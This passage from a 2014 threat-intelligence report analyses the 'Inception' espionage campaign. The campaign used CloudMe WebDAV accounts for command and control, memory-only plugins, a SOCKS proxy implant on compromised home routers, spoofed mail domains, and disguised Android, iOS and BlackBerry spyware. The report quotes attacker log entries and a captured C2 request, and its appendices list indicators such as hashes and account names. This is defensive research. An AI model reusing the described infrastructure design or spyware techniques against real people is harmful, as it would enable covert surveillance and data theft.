malware downloads the new configuration file then deletes it from the server.
19
The cloud storage provider in every case we have seen was the Swedish
company CloudMe.com, which offers free and paid WebDAV cloud storage.
The URI model used by the malware is
http://webdav.cloudme.com/%username%/CloudDrive/ which is a direct
reference to file storage.
It must be noted that the CloudMe service is not actively spreading the malicious
content; the attackers are only using it for storing their files.
We notified CloudMe.com about the abuse of their services.
Their CEO, Mr.
Daniel Arthursson, was none too happy about this, and was very helpful in our
further research.
CloudMe has shared a great deal of log information related to
this attack.
These indicate that there are many other accounts (over 100) likely
related to this attack system.
We have no way of verifying this with absolute
certainty, but this is what we regard as a high confidence assumption.
20
Distribution of logged victim connections towards CloudMe.
The cloud accounts are not used for one-way communication only.
The malware
also checks configured subfolders for updates; and if these are found they will be
downloaded, decrypted and used as appropriate.
One such case is the franko7046 account, used against the previously
mentioned bank CEO.
In this account there was hidden another encrypted
configuration file which the malware downloaded and decrypted.
Above: The configuration file of the depp3353 account.
Password is redacted.
21
This is how we found the depp3353 account.
In this new account there was
another surprise waiting for us – a download folder with two new encrypted files,
921.bin and 922.bin.
Once decrypted, these turned out to be PE executables.
Downloaded plugins: Cloud persistence
The two new executables are plugins - quite similar to each other and obviously
compiled on the same setup.
They are lightweight and intended to pull specific
survey information from their target.
Of interest, both of the DLLs originally had
the same internal name (78wO13YrJ0cB.dll).
Presumably the same PE
sanitization script and parameters were used on both.
None of these plugins contain any means of CnC communication.
Instead, when
they are executed they are passed a pointer to a function to use for sending data
back home.
Neither are they ever written to disk.
They are executed in memory
only, and once they have completed the memory is freed.
This makes these
modules extremely stealthy, flexible and compatible with multiple toolsets
independent of what CnC method is being used.
921.bin retrieves several datapoints about the infected machine: Domain info; a
list of running processes with all loaded modules in each; the list of installed
software; and a complete hardware profile of the target machine.
922.bin
compiles a dirwalk – a complete listing of every file path – of each fixed drive.
All
of this information is exfiltrated back via the same WebDAV connection.
This model makes it possible to do the intrusion in steps, with verification stages
in between; and the files will not be easily found on affected computers.
Based on the information gathered from these modules, the attackers appear to
move to the next stage of their attack by placing more new components on the
WebDAV shares.
Information about these uploads is limited by the fact that we
do not have the AES keys to decrypt much of the uploaded data, but we have
been able to see some upload patterns.
What we assume to be third-stage plugins appear on the shares as *.bin files of
roughly 72kb.
As with other plugins, these are downloaded and deleted from the
share in one go.
However, the next day, another *.bin file of the same size will be
uploaded to the share.
This is a pattern that repeats itself over all live accounts.
It
seems that because the plugins exist in memory only, they are injected daily to
ensure persistence on victim computers.
Our theory is that this malware is a
more typical datastealer, and we have observed that after this type of file is
planted on the account, encrypted data uploads from compromised users
increase.
22
The Sheep and the Wolves
Victims of this attack will connect using the Windows WebDAV redirector, and
the HTTP request user-agent string will reflect this.
For Windows XP this will
typically be “Microsoft-WebDAV-MiniRedir/5.1.2600”, and for Windows 7 a
common user-agent is “Microsoft-WebDAV-MiniRedir/6.1.7601”.
Security researchers – and there are a few of them - connect in a variety of ways;
first of all, we see a number of connections that are indistinguishable from the
way victims connect.
This happens when researchers use lab machines with live
internet access to run the malware.
The only way we can tell these are
researchers is because they connect from IP address ranges that are unlikely to
be victims; and they also tend to consist of short-lived sessions.
Some researchers set up scheduled tasks to scan the shares for new updates
and malware.
We see a few variations of these – one typical configuration is
where the requests contain a Python-related user-agent string.
Attackers, on the other hand, don’t appear to use Windows.
Common across multiple accounts, multiple IP’s, and over time, is that the
probable attackers have used a HTTP user-agent of “davfs2/1.4.6 neon/0.29.6”.
We know these are not researchers, because we can see malware files being
uploaded by them:
[17/Sep/2014:09:42:38 +0200] "PUT
/white3946/CloudDrive/QxM9C/st/V1oINDJtnqy/1768.bin
HTTP/1.0" 201 0 "-" "davfs2/1.4.6 neon/0.29.6"
Above: Log entry for the account white3946.
We have been unable to locate the
malware that uses this account.
We have a log fragment in which the attackers uploaded a sequential series of
updates (from 1746.bin to 1774.bin) within 1.5 hours on Sept 17th, spread over
27 different accounts and using 27 different IP addresses in the process.
The user-agent string shows that attackers likely have used a client based on the
open source davfs2 file system for Linux to mount the WebDAV shares.
23
This client is used when uploading new malware, but also when the attackers
scan their shares for new victim updates, in which case the shares are
enumerated by requests in a scheduled manner.
An attacker scans the tem5842 account for updates.
At intervals, scans hop to new IP addresses.
The attackers have used a large number of IP addresses to access the shares.
As mentioned above, there is a rotation scheme in place in which a new IP
address will be used after a few minutes of access against CloudMe accounts.
These IP’s are distributed widely over geographical locations and service
providers, with a heavy bias towards South Korean ranges.
24
S. Korea                                85   Australia                                 1
China                                    7   Austria                                   1
United States                            7   Bulgaria                                  1
Brazil                                   5   Canada                                    1
Sweden                                   3   Denmark                                   1
Czech Republic                           2   France                                    1
Norway                                   2   Germany                                   1
Romania                                  2   Kuwait                                    1
Russia                                   2   Latvia                                    1
Spain                                    2   Ukraine                                   1
Distribution of attacker IP addresses
At first we thought these IP’s belonged to some commercial proxy service,
particularly since several such proxy services also offer IP rotation.
However, this
turned out to be a wrong assumption.
25
PART II:
Support infrastructure
26
An embedded device proxy network
A superficial examination of the proxy IP addresses that connected to CloudMe
showed them to be internet-connected devices of various kinds.
Many were
Korean Tera-EP home routers; but there were several other products
represented.
It is believed that the attackers were able to compromise these devices based on
poor configurations or default credentials.
We were able to do some forensic work on a compromised Tera-EP TE-800
device and discovered another dimension of the attacker’s infrastructure.
27
Router malware
Under the ramfs mounted partition we found a stripped and statically linked
MIPS-el binary named tail-.
Instances of this were also found under the running
process list.
tail- serves as a SOCKS proxy for the attackers.
Each sample of the binary we
were able to acquire was configured with a unique 32byte blowfish key and a
small, encrypted section appended to the end of the binary.
Upon execution the binary uses its hardcoded key to decrypt the configuration
section and retrieve the listening port to use for incoming connections.
This acts
as a management interface.
From here the attackers can request a specific port
to be opened as one of the following types: SOCKET, SOCKSS, SOCKAT,
SOCKS5, or STATUSPORT.
To prevent anyone else from accessing this service all communication on the
management interface is encrypted using the same blowfish key.
This means
that the attackers must maintain a list of where each of these implants are
installed, as well as what port and key each is configured to use.
This setup makes it difficult to identify embedded devices compromised with this
malware by scanning open ports.
In the wild we witnessed the attackers connect to the management port and
request SOCKSS connections.
This would open the specified port and wait for
configuration data, which consists of a domain name (webdav.cloudme.com), the
destination port, and a variable length RC4 key, all of which encrypted using the
blowfish key.
Once received the malware would attempt to connect to the
domain name on the specified port and would start tunneling all traffic received
from the SOCKSS port to the destination and vise-versa.
The communication
between the attacker and the SOCKSS is encoded using the RC4 key.
The
graphic below illustrates a typical session.
28
Additional servers
The router proxy network provides another layer of indirection masking the
attackers’ infrastructure.
However, because we captured traffic through one of
these embedded devices we could identify other parts of their operation.
We identified four IP addresses that connected to the proxy malware:
Cloud enumerator:
Apparently a rented server at AS34224 NETERRA-AS, Bulgaria
This host belongs to a Bulgarian VPS service and would use the router proxy to
connect to webdav.cloudme.com.
This host does all scanning of webdav shares
for stolen user data, and also uploads new malware components.
Health checker:
Apparently a rented server at AS5577 ROOT root SA, Luxembourg.
This IP would make connections hourly and poll the status of the router proxy
malware.
This machine is most likely used to track which compromised routers
are currently available for use.
Unlocker:
Apparently a rented server at AS52048 DATACLUB DataClub S.A. Latvia.
Traffic from this IP had a very specific purpose: It unlocked routers for proxying in
connection with the sending of phishing emails.
In the wild we observed this IP connect to our router on the malware
management port and specify a SOCKSS proxy port to be opened.
Immediately
after, the newly opened port would be connected to by another IP and used to
send phishing emails with malicious attachments.
However, later we observed that the Email sender IP at VOLIA vanished and the
Unlocker server taking over its role as well.
Email sender:
An IP at AS25229 VOLIA-AS, Ukraine.
Possibly a compromised host.
After a router SOCKSS port was opened by Unlocker, this IP would connect to
the opened port and tunnel its email traffic through the router.
Each of these connections used the correct encryption key, so we know that
these accesses came from the attackers and not some opportunistic third party.
29
Mail proxies:
Through our router monitoring we identified two mail proxies used by the
attackers.
We were later notified by Symantec (thanks, guys!)
about a third.
These servers were hosted on domains that were registered by the attackers,
using domain names clearly meant to look legitimate.
This is the only time we
have seen attackers register domains in this investigation.
The mail proxies were:
haarmannsi.cz       : Spoof of the legitimate domain haarmannsi.com
sanygroup.co.uk     : Spoof of the legitimate domain sanygroup.com
ecolines.es         : Spoof of the legitimate domain ecolines.net
Registrant WHOIS information seems forged:
haarmannsi.cz
name:      Sanyi TERRAS
address: R. FREI CANECA 1120
SAO PAULO
01307-003
BR
e-mail:    sanyi_terras@outlook.com
created: 12.06.2014
NS:        ns*.frankdomains.com
sanygroup.co.uk:
name:      Alan
address: Uddmansgatan 13
Pitea
Norrbottenalän
94471
SE
created: 06.05.2014
NS:        ns*.domains4bitcoins.com
ecolines.es:
name:        Lyisa Almeida
address: N/A
created: 04.06.2014
NS:          ns*.frankdomains.com
.
30
Observed phishing emails
The connections made from the Ukrainian host to the router were interesting.
After being proxied though the router, each of these would authenticate with one
of the dedicated mail proxies and send out phishing attacks.
From captured traffic it appears that the mail proxies have SOCKSv5 services
running on obscure high ports.
We have documented that the attackers log in to
these using apparently randomly generated usernames and passwords, a unique
pair for each server.
The mail proxy would then relay the spearphishing mail as
seen below.
Above: Captured SMTP session, sending the malicious attachment MQ1474.doc
This way the attack can be mistaken to come from legitimate businesses and
trusted organizations.
In some cases the organization from which the phishing
email originates would appear to be a known associate to the target.
31
The email shown above was one of a number of messages sent to targets in the
oil industry.
Investigating the target email addresses, we saw several of these
were found in this public document from the World Petroleum Council, including
some addresses that are, at the present time, no longer valid.
And then, the ground shifted again.
32
PART III:
Attacks on mobile devices
33
One of the spearphishing mails we observed coming through the router network
was this one, sent to an address under the gov.py (Government of Paraguay)
domain.
Get WhatsApp now for your iPhone, Android, BlackBerry or Windows Phone
There was no executable attachment in this mail, but instead a link shortened by
the URL shortener service bit.ly, with the underlying link pointing to an IP address
on a Dutch hosting service.
Clicking that link from a Windows PC only yielded a
redirection to the BBC homepages, and using other devices did not give more
data.
The bit.ly service does however provide information on the user creating the
shortened link, and other links associated with this account.
In this case, the user
was named nicolatesla53.
34
The nicolatesla53 bit.ly profile page
The nicolatesla53 account was created in July 2014.
From Oct 24th to Nov 21st
this user created nearly 10000 shortened links – we harvested 9990 unique
ones.
Three IP addresses were used for these links:
82.221.100.55
82.221.100.60
94.102.50.60
The links themselves were on this format:
http://server_ip/page/index?id=target_identifier&type2=action_code
As far as we were able to tell, there were three main types of action_code:
743 : Serve malware disguised as WhatsApp updates
1024 : Serve malware disguised as Viber updates
other : Serve MMS phishing content.
The code identifies mobile operator and
determines which logo will be displayed when the user follows the link.
35
MMS Phishing
We have no sample of the actual MMS phishing messages apparently being
sent, but we can see the page served when a user clicks a spammed link.
This is
just a dialogue box asking for the password presumably included in the initial
message, and the next stage likely involves download of malicious content.
The password screen for action code 16611 (TELE2)
We were in the middle of harvesting the servers for data on the various action
codes when they all were abruptly taken offline; so our data on which mobile
operators are targeted is not complete.
We managed to get 66 of a total of 190.
The ones we know of are shown below.
A full breakdown of mobile operators
and related links is included in the appendix.
36
The composition of links created for the various mobile operators is quite
interesting, as one can speculate that they represent amount of actual or planned
attacks in different countries.
With the top three operators being Vodafone, T-
Mobile and Proximus (Belgacom) it seems these apparent phishing attacks are
less focused on the Russian sphere than the previously discussed malware.
This map is not complete, though.
It represents only about 35% (66/190) of all
mobile operators targeted and 66% (3152/4781) of all phishing links we managed
to harvest.
In addition, some operators like Vodafone are global actors, so the
map might show an unfair intensity in their HQ locations.
MMS phishing heat map
The rest of the bit.ly links used the action codes 743 or 1024.
And now things
really get interesting.
By using mobile device HTTP User-Agents we were able to
trigger downloads of malware components from some of these links.
37
Mobile malware: Android
Accessing the link from an Android User-Agent initiated a download of an
Android installer package named WhatsAppUpdate.apk.
The package we
analyzed was 1.2MB in size.
The apparent main purpose of this malware is to record phone call audio.
Recordings are stored as *.mp4 files, and uploaded to the attackers periodically.
The malware is able to collect a lot of other information, not all of which is
actually used:
•   Account data
•   Location
•   Contacts
•   External and Internal Storage (files written)
•   Audio (microphone)
•   Outgoing calls
•   Incoming calls
•   Call log
•   Calendar
•   Browser bookmarks
•   Incoming SMS
Through the encrypted C&C protocol, the attackers can issue commands and
binary updates to the malware.
It uses a custom DAO/Database scheme which uses accounts belonging to the
virtual community Live Journal (livejournal.com) as data stores.
Three such
accounts were found hardcoded in the package:
The accounts all state that they belong to Iranian users.
This is very likely false.
38
The text in these posts starts first out in cleartext, but quickly turns into
unreadable gibberish.
The HTML source code reveals that the encoded portion is
encapsulated in blog-index tags:
The three accounts contain different configuration blocks pointing to C&C servers
apparently located in Poland, Germany and Russia, respectively.
Based on
registration data and folder configuration we believe these are legitimate but
compromised Joomla servers.
And then an unexpected oddity shows up in the Java source:
The sign in front of SizeRandomStr is “Truti” - a Hindi word meaning “Error”.
39
We were also able to download a similar malware sample (BrowserUpdate.apk)
from one of the C&C servers.
This sample used different online accounts for its
DAO/database functionality, but is otherwise quite similar to the first.
40
Mobile malware: Apple IOS
Using an IOS User-Agent triggered the download of a Debian installer package,
WhatsAppUpdate.deb, also 1.2Mb in size.
This application impersonates a Cydia installer, and can only be installed on a
jailbroken phone.
Once installed, it may collect
•   Device platform, name, model, system name, system version
•   ICCID
•   User’s address book
•   Roaming status
•   Phone number
•   Carrierbundlename
•   Iso country name
•   Carrier name
•   Wifi status
•   MAC address
•   Device battery level
•   Free and total space
•   Cpu frequency and count
•   Total and user memory
•   Maxsocketbuffersize
•   Language local identifier and language display name
•   Default and local time zone
•   Account data: AccountAvailableServiceTypes, AccountKind,
AccountSocialEnabled, etc
•   AppleID
•   CreditDisplayString
•   DSPersonID
•   IOS specific data; ex LastBackupComputerName,
LastBackupComputerType, iTunes.store-UserName, iTunes.store-
downloaded-apps etc.
41
These data are encrypted and uploaded to an FTP account which is taken from
an encrypted configuration file named /usr/bin/cores.
In this particular case, the FTP account is located on a legitimate (if struggling)
hosting service in the UK.
In this case, there’s another clue:
The project path in the package contains the name JohnClerk.
The WhatsAppUpdate project seems derived from an earlier template named
SkypeUpdate.
42
Mobile malware: Blackberry
By now, it came as no surprise when we triggered a download with a BlackBerry
User-Agent.
The initial download was a Java Applications Descriptor, a text file
designed for Over-The-Air installation of Java-based applications.
This JAD file
contained the locations of the two Blackberry *.COD binaries which we then
could download directly.
The application impersonates a settings utility.
This collects:
•   deviceName, manufacturerName
•   platformVersion, softwareVersion
•   brandVendorId, brandVersion
•   total and free flash size of the device
•   amount of memory/storage already allocated
•   ownerName, ownerInformation
•   Phone mumber
•   PIN
•   IMSI
•   IMEI
•   mcc and mnc (Mobile Carrier ID)
•   cellID
•   Location area code
•   isPasswordEnabled
•   Battery data (level, temperature, voltage, etc)
•   Installed applications
•   Address book
•   APChannel
•   Connected Network Type
•   BSSID
•   DataRate
•   Profile Name
•   RadioBand
•   SecurityCategory
•   SignalLevel
•   SSID
Collected data will be uploaded to a DynDNS domain currently hosted on a US
webhosting service.
43
“God_Save_The_Queen” is used as a reference in one of the Blackberry
binaries.
Since these COD files are also compiled Java code, they are possible to
decompile to original source code.
In a similar fashion to the Android version, we
find interesting strings there.
This time they are in Arabic:
“Reading files” in Arabic
44
PART IV:
Attribution
45
Timelines and activity patterns
The earliest sample of Inception-related malware we have been able to obtain,
was submitted to us in June 2014.
However, decoy document metadata shows
that it was created late May.
The related cloud account was created just before
that.
An examination of the other documents associated with the attacks show
that they have been created at a steady pace all through summer and autumn
2014 and attacks are still ongoing.
Of interest is also the attackers’ activity patterns over the 24h cycle.
The main
upload of new components to shares seems to be divided over two high–activity
periods: 6:00 -10:00 UTC and 17:00 - 21:00 UTC.
No uploads were seen
between 23:00 and 05:00 UTC.
It is however doubtful how indicative these timeframes are.
To illustrate, we
looked into another and more obscure timing factor: The timing of the AES
InitVector random seeds.
A random seed is the initial value passed into a
pseudo-randomizer function.
The malware uses the random output to create
what is known as an InitVector - a starting point for the AES
encryption/decryption function.
The code used in some of the DLLs indicate that the attackers tend to use the C
time() function to generate random seeds.
This function returns values of
granularity down to seconds.
Thus random seeds, and ultimately the InitVectors,
are functions of these quite coarse units of time.
The encrypted files uploaded to the WebDAV shares come with their InitVectors
stored at the end of the file.
Since we know the time window to be within a few
days of the upload time we were able to brute force the time values that would
generate the corresponding InitVectors.
Thus, we were able to say to the second
when the file was created – and most times were identified to be in the range
1500 - 2200 GMT.
Unfortunately, we had to reject these data.
The file creation times turned out to
be hours after the files themselves were uploaded to the WebDAV share.
Either
the attackers’ system clock is wrong or a fixed offset is added to the random
seed.
Either way, the data can’t be trusted; and shows that nothing can be taken
at face value.
46
The Chinese connection
On at least two occasions during our surveillance of the Inception framework, the
malware downloaded something unexpected and wholly different from what we
have discussed until now.
These files were downloaded as encrypted *.bin files from the accounts
carter0648 and frogs6352.
When decrypted, these turned out to be dropper
packages containing one dropper executable clearly created for the Inception
framework, and one other, very different executable.
This executable, (sccm.exe, md5 dd8790455109497d49c2fa2442cf16f7) is a
classical Chinese APT implant.
It is a downloader and remote shell program,
designed to connect to a C&C server to interact with the attacker and/or
download more malware.
The C&C server in this case is ict32.msname.org.
When connecting to this server, sccm.exe issues the following request:
POST /check.jsp HTTP/1.1
Accept: */*..Accept-Language:en-us
Content-Type: application/octet-stream
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.antivir.com
Content-Length: 8
Connection: Keep-Alive
Cache-Control: no-cache
This C&C domain is used by many other malwares related to sccm.exe; some of
which share obvious connections to the Quarian malware family, a known APT
intrusion tool.
This development was unexpected for several reasons.
First of all, it apparently
breaks the strict, obfuscatory operational security built into the Inception
framework.
Inception has the capacity to perform all steps needed for scouting
out and exfiltrating data without resorting to traditional hosted command &
control.
By using a well-understood APT tool and a known malicious C&C
domain name, the attackers permit much clearer attribution.
47
Another factor which is out of character is the coding style.
All Inception-related
malware is written using Visual Studio 2010.
The downloaded sccm.exe is written
using Visual C++ 6; and has a PE header compile date of October 2010.
This date can be forged, and indeed, all Inception-related malware has some
level of forgery in the compile dates.
However, the sccm.exe compile date
matches the Quarian developer toolset and coding style to a better degree than
the other files distributed through Inception.
Then there is the C&C domain used.
According to DomainTools.com the
msname.org domain registration timed out September 27th 2014.
It was left
inactive and was not renewed until Nov 12th.
This means that the attackers
distributed malware that would be out of action for a long time (last distribution of
sccm.exe was September 26th).
Because of all this we consider sccm.exe as an unreliable indicator.
It is likely to
be a red herring purposefully placed on shares where the attackers have seen
signs of access by security researchers.
An odd indicator
At one instance the attackers seem to have slipped up.
Instead of using their
scheduled task, they apparently did something manually on a WebDAV share.
This is visible because the request came from an apparent attacker IP, but used
yet another User-Agent: “gvfs/1.12.3”.
Gvfs is the virtual filesystem for Gnome desktop.
The action on the account was
abnormal as well; an apparent file upload:
83.53.147.144 - - [02/Sep/2014:09:53:56 +0200] "PUT
/tem5842/Documento%20sin%20t%C3%ADtulo HTTP/1.1" 408 0 "-"
"gvfs/1.12.3"
“Documento sin título” means “Untitled document” in Spanish.
When WebDAV shares are mapped up as drives by the operating system, any
action taken by the attacker follows the same pattern as on the attacker’s local
drive.
In the case above, it seems the attacker attempted to edit a new
document, which by default is given the name “Untitled document” in Gnome.
This might indicate that the attacker’s operating system language is Spanish.
Of course, Spanish is one of the world’s most widespread languages, so one
cannot infer much from this.
There is even a small possibility that the
phenomenon is a pure artifact; for example that a Spanish-speaking researcher
connected to the same account using the same Linux-based setup as the
attackers.
48
Similarities with Red October
This attack system shares a number of properties that are somewhat similar with
the Red October campaigns detailed by Kaspersky Labs in 2013.
For more information about this see:
The "Red October" Campaign - An Advanced Cyber Espionage Network
Targeting Diplomatic and Government Agencies
-   Target countries and verticals overlap to some extent
-   The topics of some decoy documents are the same (eg.
“Diplomatic
Car for sale”)
-   Similar overall loading architecture, with dropping of encrypted binaries
that are later decrypted and loaded
-   Exploited documents contain certain similarities (i.e.
the magic string
“PT@T” used as a marker to locate the shellcode)
However, there are also clear differences.
The code is fully rewritten; there
appears to be little code overlap, at least in the initial stage malware.
The coding
style is different, with different solutions to programmatic problems, different use
of exception handling, and different use of C++ classes.
It’s hard to believe that
the same programmers are responsible for the two code bases.
The Red October malware contained linguistic markers that pointed towards
Russian speaking attackers.
No such clues have been found in the Inception-
related malware; there is a marked difference in the attention to detail and
information leakage.
It is certainly possible that the same people have organized both Inception and
Red October, but there are no clear indications to this effect.
49
Strings in malware
The Windows-based malware in this paper generally contains very few
noticeable strings apart from what is commonly found in software, and clearly
randomized strings.
What exists – like the word “polymorphed” in the early DLL
versions - is standard English with few discerning features.
This changes a bit when we look at the mobile malware.
In the Android malware
we find Hindi comments in the Java source code.
In the Iphone malware we find
project paths referencing one “JohnClerk”, and a few typos like “conutry”.
In one
of the Blackberry binaries we find the string “God_Save_The_Queen”, a rather
blunt hint towards Britain, as well as Arabic log strings.
These and other indicators have led us to conclude that the Inception attackers
are setting a new standard for deliberate disinformation and red herrings in a
malware espionage operation.
Some clues might have been added by accident,
but none of these indicators can be trusted in any way.
Thus we are not going to
assume anything about who might be behind these attacks.
50
Conclusion
The whole Inception setup shows signs of automation and seasoned
programming.
The amount of layers used in this scheme to protect the payload
of their attack seems excessively paranoid.
Not only is the initial DLL apparently
polymorphed using some backend tool – the compile time stamps in the PE
header are clearly forged, resources are removed so as not to give away any
location information, and import tables are shuffled around, rendering import
hashes (aka imphashes) useless.
The names of the files both when dropped and their original names along with
the callback directories, paths and mutexes used all seem to be dynamically
generated.
The attackers utilize compromised embedded devices – typically routers- on the
Internet as well as multiple dedicated hosting providers and VPN services to
mask their identity from the cloud storage provider and others.
The same router
botnet is used as a spreading and management platform for attacks on mobile
devices as well.
This suggests that this a large campaign and we’ve only seeing the beginning of
it.
Initially many of the targets were located in Russia or related to Russian
interests, but as the campaign has evolved we have verified targets in countries
all over the world.
It is clear that this infrastructure model does not need to be applied solely against
a few targets, or even need to be hosted at CloudMe.
The framework is generic,
and will work as an attack platform for a multitude of purposes with very little
modification.
The attribution indicators point in different directions and can’t be given much
weight.
These attacks can in theory be the creation of nation states or
resourceful private entities - we consider it very unlikely that they are performed
by one or just a few individuals.
© 2014 Blue Coat Systems, Inc. All rights reserved.
Blue Coat, the Blue Coat logos, ProxySG, PacketShaper, CacheFlow, IntelligenceCenter, CacheEOS, CachePulse, Crossbeam,
K9, the K9 logo, DRTR, Mach5, Packetwise, Policycenter, ProxyAV, ProxyClient, SGOs, WebPulse, Solera Networks, the Solera Networks logos, DeepSee, “See Everything.
Know
Everything.”, “Security Empowers Business”, and BlueTouch are registered trademarks or trademarks of Blue Coat Systems, Inc. or its affiliates in the U.S. and certain other
countries.
This list may not be complete, and the absence of a trademark from this list does not mean it is not a trademark of Blue Coat or that Blue Coat has stopped using the
trademark.
All other trademarks mentioned in this document owned by third parties are the property of their respective owners.
This document is for informational purposes
only.
Blue Coat makes no warranties, express, implied, or statutory, as to the information in this document.
51
APPENDIX:
Exploited RTF sample md5’s:
0a0f5a4556c2a536ae7b81c14917ec98
19ad782b0c58037b60351780b0f43e43
20c2a4db77aabec46750878499c15354
23d6fabda409d7fc570c2238c5487a90
3ff9c9e3228b630b8a68a05d6c3e396d
4624da84cae0f8b689169e24be8f7410
4a4874fa5217a8523bf4d1954efb26ef
4dcdc1110d87e91cda19801755d0bcf2
516a514bf744efb5e74839ddaf02a540
5e3ecfd7928822f67fbb3cd9c83be841
685d9341228f18b0fd7373b7088e56a7
822d842704596a2cf918863ea2116633
8488303c2a0065d9ac8b5fecf1cb4fc9
8997d23b3d1bd96b596baee810333897
8cd5974a49a9d6c49294312bf09f64ed
9738faf227bcd12bcab577a0fb58744d
bc196dc8a14484e700169e1a78cf879e
b453ec7fd92bee23846ff36bf903ddc0
2fcbea8a344137421a86b046a6840265
Dropped first-stage DLL’s
0bd0fd3cbbcfddc4048228ce08ca26c2
0bda50e05d575446de55d50c631afb53
0f12614fa7a9bf7bcc951eec7b78658d
2f9ca7680ec0945455988d91d9b325f8
352da994d867eb68a178bb7f2fb672bc
3a4a9d26c9c3c8d0fd697b036216319e
43587e5fcf6770259026ec2ca6f41aa6
4628082e11c75b078ff0465523598040
554d4c4da2e3603282b097b0e68ad11a
670ac2e315088d22b2cb92acffc3e997
71bdd14cbc96badb79dfb0f23c52a9ee
72f020b564bc9771e7efe203881f5ef9
80a7883c33a60b4c0178c9c8fb7d1440
84fa976d9ed693668b3f97d991da0e97
89d851cbd2dc1988bb053235414f8928
a5aeda357ba30d87c1187b644baad8a0
c3f2fb7840228924e5af17787e163e07
d007616dd3b2d52c30c0ebb0937e21b4
d171db37ef28f42740644f4028bcf727
d3886495935438f4a130d217d84ae8cb
ea0d80db2075f789fc88c3fdf6e3d93e
52
f2840be535fbaf8b15470d61967d527b
90c93c9b80bbf31dce8434a565a0ec7b
53
Downloaded second-stage plugins:
5c3de5b2762f4c5f91affaa6bcadd21b
86b2372297619b1a9d8ad5acdf1a6467
43112e09240caebb3c72855c9f6fc9e5
Downloaded Chinese malware, sccm.exe:
dd8790455109497d49c2fa2442cf16f7
Router proxy malware:
a6b2ce1cc02c902ba6374210faf786a3
83b383884405190683d748f4a95f48d4
62fc46151cfe1e57a8fa00065bde57b0
036fbc5bffd664bc369b467f9874fac4
488e54526aa45a47f7974b4c84c1469a
24a9bbb0d4418d97d9050a3dd085a188
b0c2466feb24519c133ee04748ff293f
62dc87d1d6b99ae2818a34932877c0a4
7c6727b173086df15aa1ca15f1572b3f
80528b1c4485eb1f4a306cff768151c5
e1d51aa28159c25121476ffe5f2fc692
Android malware:
046a3e7c376ba4b6eb21846db9fc02df
b0d1e42d342e56bc0d20627a7ef1f612
IOS malware (WhatsAppUpdate.deb):
4e037e1e945e9ad4772430272512831c
Blackberry malware:
0fb60461d67cd4008e55feceeda0ee71
60dac48e555d139e29edaec41c85e2b4
54
Verified malicious CloudMe accounts (based on malware):
garristone                frogs6352                 droll5587
franko7046                daw0996                   samantha2064
sanmorinostar             chak2488                  chloe7400
tem5842                   corn6814                  browner8674935
bimm4276                  james9611                 parker2339915
carter0648                lisa.walker               young0498814
depp3353                  billder1405               hurris4124867
Likely malicious CloudMe accounts (based on access patterns):
adams2350                 frog0722                  norbinov
adison8845                gabriel.gonzalez          nul7782
allan1252                 garsia7871                parker0519
altbrot                   gray7631                  poulokoel
amandarizweit             great2697                 pourater
anderson9357              green3287                 red6039
astanaforse               helen.scott               red6247
baker6737                 helenarix                 reed6865
bear9126                  hill5289                  roges2913
bell0314                  jackson4996               roi5991
betty.swon                james9521                 ronald.campbell
brown7169                 john.thompson             rosse2681
brown7356                 kalo3113                  samantares
button8437                kas2114                   scott5008
carter0648                kenneth.wilson            sebastianturne
carter3361                king7460                  swon5826
clark6821                 kol8184                   taylor9297
collins2980               klauseroi                 tem5842
cook2677                  ksjdkljeijd               thirt1353
cooper2999                lariopas                  thomas9521
cooper7271                lopez9524                 thomson3474
cox7457                   lorrens6997               turner3027
cruz3540                  martinez4502              vasabilas
david.miller              miller8350                visteproi
depp3353                  minesota1459              voldemarton
diaz1365                  moore6562                 wer8012
din8864                   moore7529                 white3946
evans0198                 morris9351                william.moore
farrel0829                morris9461                wilson2821
ferrary2507               murphy5975                wilson2905
ferre7053                 nedola7067                wonder7165
flores5975                nelson0000                wrong8717
fox0485                   ninazer
55
Bit.ly-shortened MMS phishing links:
Action Code     Operator                HQ location    Links created
95501           Vodafone                UK                         270
81825           T-Mobile                Germany                    213
66968           Proximus                Belgium                    197
67840           China Mobile            China                      173
98491           Zain                    Saudi Arabia               126
58129           Mobilkom (A1 Telekom)   Austria                    124
12081           Orange                  France                     124
24806           Hamrah-e-Avval          Iran                       111
41967           Mobilnil                Egypt                      105
46736           TeliaSonera             Sweden                     100
13911           Mobistar                Belgium                      78
65842           O2                      UK, Germany                  78
70887           Telcomsel               Indonesia                    74
98455           Kcell                   Kazakhstan                   74
94382           Mobilink                Pakistan                     72
12988           Airtel                  India                        65
52378           Vodacom                 South Africa                 63
99578           Maxis                   Malaysia                     59
90298           Swisscom                Switzerland                  59
86791           Wind Mobile             Canada                       56
21522           MTN                     South Africa                 56
26059           MTS                     Russia                       55
67838           Alfa                    Lebanon                      51
96735           Kyivstar                Ukraine                      51
99753           T-Mobile                Germany                      50
24906           Omnitel                 Lithuania                    48
17150           MtcTouch                Lebanon                      43
53272           Ooredoo                 Qatar                        36
77008           BASE                    Belgium                      33
31756           Djezzy                  Algeria                      29
14269           Beeline                 Russia                       29
76587           Omantel                 Oman                         28
44974           Velcom                  Belarus                      27
77849           E-plus                  Germany                      26
76102           Celcom                  Malaysia                     26
31021           Azercell                Azerbaijan                   24
16611           TELE2                   Sweden                       24
18675           Mobifone                Vietnam                      22
65942           T-Mobile                Germany                      20
85993           Sudatel                 Sudan                        20
65090           Diallog                 Belarus                      19
61384           Ufone                   Pakistan                     19
11426           TMCell                  Turkmenistan                 19
58043           Globe                   Philippines                  18
70102           SingTel                 Singapore                    18
90374           Avea                    Turkey                       18
57464           DiGi                    Malaysia                     16
77995           Megacom                 Kyrgyzstan                   15
27964           Warid                   Pakistan                     11
56
15029   DSTCom              Brunei             10
70959   Smart               Cambodia           10
83722   Asiacell            Iraq               10
97143   Maroc Telecom       Morocco             9
25786   Magti               Georgia             6
34659   Geocell             Georgia             6
56167   Bakcell             Azerbaijan          5
42397   Dhiraagu            Maldives            5
54375   Telfort             Netherlands         5
43142   Banglalink          Bangladesh          2
90128   EMT                 Estonia             2
24709   MTNL                India               2
92444   Safaricom           Kenya               2
60354   Plus                Poland              2
84899   Sabafon             Yemen               2
14115   Sri Lanka Telecom   Sri Lanka           1
42758   Lycamobile          UK                  1
57
Undetermined MMS phishing action codes (code, number of links):
13975   320       54780   12     14659       3       19343   1
51557   119       92529   11     16814       3       20732   1
37020   88        61135   10     20247       3       25938   1
11111   71        89838   10     24037       3       26346   1
61925   64        44638   9      27307       3       26842   1
91130   63        60007   9      31785       3       27758   1
